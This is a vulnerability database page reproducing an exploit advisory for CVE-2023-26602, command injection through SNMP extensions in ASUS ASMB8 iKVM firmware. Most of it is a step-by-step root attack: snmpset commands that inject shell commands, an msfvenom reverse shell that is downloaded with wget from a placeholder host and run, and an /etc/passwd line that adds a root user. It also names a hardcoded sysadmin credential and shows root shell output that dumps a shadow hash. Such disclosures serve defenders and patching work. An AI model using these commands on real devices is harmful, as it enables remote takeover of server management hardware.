Lucene search
K

ASUS ASMB8 iKVM 1.14.51 SNMP Remote Root

🗓️ 27 Feb 2023 00:00:00Reported by d1gType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 356 Views

ASUS ASMB8 iKVM 1.14.51 SNMP Remote Root Acces

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ASUS ASMB8 iKVM 1.14.51 SNMP Remote Root Vulnerability
27 Feb 202300:00
zdt
GithubExploit
Exploit for Command Injection in Asus Asmb8-Ikvm_Firmware
16 Jan 202415:01
githubexploit
Circl
CVE-2023-26602
26 Feb 202322:26
circl
CNNVD
ASUS ASMB8-iKVM 命令注入漏洞
26 Feb 202300:00
cnnvd
CVE
CVE-2023-26602
26 Feb 202300:00
cve
Cvelist
CVE-2023-26602
26 Feb 202300:00
cvelist
Exploit DB
ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE) & SSH Access
1 Jun 202400:00
exploitdb
Exploit DB
ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE)
16 Apr 202500:00
exploitdb
NVD
CVE-2023-26602
26 Feb 202320:15
nvd
Prion
Command injection
26 Feb 202320:15
prion
Rows per page
`++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
# Exploit Title: ASUS ASMB8 iKVM RCE and SSH Root Access  
# Date: 2023-02-16  
# Exploit Author: [email protected] for NetworkSEC [NWSSA-002-2023]  
# Vendor Homepage: https://servers.asus.com/search?q=ASMB8  
# Version/Model: ASMB8 iKVM Firmware <= 1.14.51 (probably others)  
# Tested on: Linux AMI2CFDA1C7570E 2.6.28.10-ami armv5tejl  
# CVE: CVE-2023-26602  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
  
++++++++++++++++++++  
0x00 DESCRIPTION  
++++++++++++++++++++  
  
During a recent engagement, a remote server management interface has been   
discovered. Furthermore, SNMPv2 was found to be enabled, offering write  
access to the private community, subsequently allowing us to introduce  
SNMP arbitrary extensions to achieve RCE.  
  
We also found a hardcoded account sysadmin:superuser by cracking the   
shadow file (md5crypt) found on the system and identifed an "anonymous"  
user w/ the same password, however a lock seems to be in place to prevent  
using these credentials via SSH (running defshell as default shell).  
  
  
+++++++++++++++  
0x01 IMPACT  
+++++++++++++++  
  
By exploiting SNMP arbitrary extension, we are able to run any command on  
the system w/ root privileges, and we are able to introduce our own user  
circumventing the defshell restriction for SSH.  
  
  
+++++++++++++++++++++++++++++++  
0x02 PROOF OF CONCEPT (PoC)  
+++++++++++++++++++++++++++++++  
  
At first, we have to create required extensions on the system, e.g. via  
  
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "[command]"'  
  
and if everything is set, we can just run that command by  
  
snmpbulkwalk -c public -v2c x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects  
  
which will execute our defined command and show us its output.  
  
  
+++++++++++++++++++++++++++++++  
0x03 SSH Remote Root Access  
+++++++++++++++++++++++++++++++  
  
The identified RCE can be used to transfer a reverse tcp shell created  
by msfvenom for arm little-endian, e.g.  
  
msfvenom -p linux/armle/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f elf -o rt.bin  
  
We can now transfer the binary, adjust permissions and finally run it:  
  
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "wget -O /var/tmp/rt.bin http://x.x.x.x/rt.bin"'  
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod +x /var/tmp/rt.bin"'  
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "/var/tmp/rt.bin"'  
  
Again, we have to request execution of the lines in the MIB via:  
  
snmpbulkwalk -c public -v2c x.x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects  
  
We get a reverse connection from the host, and can now act on the local system   
to easily echo our own line into /etc/passwd:  
  
echo d1g:OmE2EUpLJafIk:0:0:root:/root:/bin/sh >> /etc/passwd  
  
By setting the standard shell to /bin/sh, we are able to get a SSH root  
shell into the system, effectively circumventing the defshell restriction.  
  
$ sshpass -p xxxx ssh x.x.x.x -oHostKeyAlgorithms=+ssh-dss -l d1g  
  
BusyBox v1.13.2 (2017-07-11 18:39:07 CST) built-in shell (ash)  
Enter 'help' for a list of built-in commands.  
  
# uname -a  
Linux AMI2CFDA1C7570E 2.6.28.10-ami #1 Tue Jul 11 18:49:20 CST 2017 armv5tejl unknown  
# uptime  
15:01:45 up 379 days, 23:33, load average: 2.63, 1.57, 1.25  
# head -n 1 /etc/shadow  
sysadmin:$1$A17c6z5w$5OsdHjBn1pjvN6xXKDckq0:14386:0:99999:7:::  
  
  
---  
  
#EOF  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation